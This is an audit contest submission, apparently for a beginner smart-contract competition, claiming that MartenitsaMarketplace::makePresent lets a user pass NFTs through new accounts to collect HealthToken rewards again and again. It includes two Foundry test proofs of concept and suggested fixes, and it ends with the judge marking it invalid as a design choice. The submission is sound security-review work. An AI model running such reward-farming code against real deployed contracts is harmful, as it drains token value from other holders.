Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: low
Invalid

Producers/Users can use `MartenitsaMarketplace::makePresent` to move his own NFTs to a new account and mint infinite `HealthTokens`

[H-1] Producers/Users can use MartenitsaMarketplace::makePresent to move his own NFTs to a new account and mint infinite HealthTokens

Description: The MartenitsaMarketplace::makePresent function allows a users/producers to transfer their own NFTs to a new account. This functionality, when exploited, can be used with creating new accounts to continuously mint HealthTokens without any limit, leading to an unlimited supply of HealthTokens in the marketplace.Also using same logic anyone who buys 3 nfts can do the same and mint infinite HealthTokens.

Impact: This vulnerability can lead to a significant imbalance in the marketplace, devaluing the HealthTokens and potentially causing economic instability within the ecosystem. It can also be used to manipulate the market, affecting the value of NFTs and HealthTokens adversely.

Proof of Concept: Exploit Steps:

  1. A producer makes 3 nfts with calling MartenitsaToken::createMartenitsa

  2. A producer calls MartenitsaMarketplace::makePresent to transfer their NFT to a new account.

  3. The producer then uses the new account to mint HealthTokens indefinitely.

  4. This process can be repeated to create multiple accounts, each capable of minting HealthTokens without limit.
    Add this test to your test suit for proof of concept:

function testProducerUsesPreseantToGetHealthTokens() public {
//jack creates 3 nfts
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("necklaces");
martenitsaToken.createMartenitsa("tassels");
vm.stopPrank();
assertEq(martenitsaToken.getCountMartenitsaTokensOwner(jack), 3);
address jackAcc2 = makeAddr("Jack2");
//jack transfers his nfts to his second account
vm.startPrank(jack);
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
marketplace.makePresent(jackAcc2, 0);
marketplace.makePresent(jackAcc2, 1);
marketplace.makePresent(jackAcc2, 2);
//jacks get a new healthtoken
vm.startPrank(jackAcc2);
marketplace.collectReward();
vm.stopPrank();
assertEq(martenitsaToken.getCountMartenitsaTokensOwner(jackAcc2), 3);
assertEq(healthToken.balanceOf(jackAcc2), 1 ether);
}

The code above does the process for one time and the gas cost is around 397587 which can be considerd low. here is a more detailed test if you want to check that this process can be done indefinitely, doing it for 10 times and minting 10 free healthTokens only costs 1942632 gas:

Infinite Test PoC:
function testProducerUsesPreseantToGetHealthTokensIndefinitely() public {
//jack creates 3 nfts
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("necklaces");
martenitsaToken.createMartenitsa("tassels");
vm.stopPrank();
assertEq(martenitsaToken.getCountMartenitsaTokensOwner(jack), 3);
address prevAccount = jack;
uint256 numberOfTokensToMint = 10;
uint256 numberOfTokensMinted = 0;
for (uint256 i; i < numberOfTokensToMint; i++) {
//jack transfers his nfts to his second account
address newAccount = address(uint160(i + 100));
vm.startPrank(prevAccount);
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
marketplace.makePresent(newAccount, 0);
marketplace.makePresent(newAccount, 1);
marketplace.makePresent(newAccount, 2);
vm.stopPrank();
//jacks get a new healthtoken
vm.prank(newAccount);
marketplace.collectReward();
prevAccount = newAccount;
assertEq(
martenitsaToken.getCountMartenitsaTokensOwner(newAccount),
3
);
assertEq(healthToken.balanceOf(newAccount), 1 ether);
numberOfTokensMinted++;
}
assertEq(numberOfTokensMinted, numberOfTokensToMint);
}

Recommended Mitigation: To mitigate this issue I recommend 2 methods:

  1. Access Control for makePresent: Implement an access control mechanism to restrict the use of makePresent for producers to only allow producers to sell their NFTs through marketplace methods. This prevents producers from transferring their NFTs to new accounts and exploiting the minting mechanism.

  2. Snapshot or One-Time Minting Mechanism: To address the issue of users buying multiple NFTs and exploiting the reward mechanism, consider changing the reward logic to use a snapshot mechanism or a one-time only mechanism for minting rewards. This could involve the marketplace airdropping tokens only once in a certain timeframe, ensuring that rewards are distributed equitably and preventing the creation of an unlimited supply of HealthTokens.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

Multiple addresses

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.